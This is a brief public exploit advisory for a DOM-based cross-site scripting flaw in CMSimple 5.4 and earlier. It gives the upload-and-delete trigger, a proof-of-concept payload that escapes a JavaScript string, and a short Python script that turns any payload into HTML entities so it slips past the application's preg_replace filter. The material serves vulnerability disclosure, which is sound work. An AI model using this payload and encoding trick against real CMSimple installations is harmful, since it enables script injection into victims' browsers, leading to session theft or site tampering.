CMSimple 5.4 Cross Site Scripting

CMSimple version 5.4 suffers from a cross site scripting vulnerability.

MD5 | 0073a8e906f0ab427a47e54a5702d471

# Exploit Title: CMSimple 5.4 - Cross Site Scripting (XSS)
# Date: 22/10/2021
# Exploit Author: heinjame
# Vendor Homepage:
# Software Link:
# Version: <=5.4
# Tested on: Linux os


Since the application is filtering user input with preg_replace, attackers can able to bypass restriction by using HTML to Unicode encoding.

So the application let's attacker perform DOM based XSS.

[Payload and POC]

File > images > Upload a file

Attack vector >> ')-alert(1)// (need to encode)>>

When the victim clicks the delete button,an alert will be executed.

Script to encode the payload

payload = input()
finalpayload = ""
for i in payload:
finalpayload = finalpayload + "&#" + str(ord(i)) + ";"

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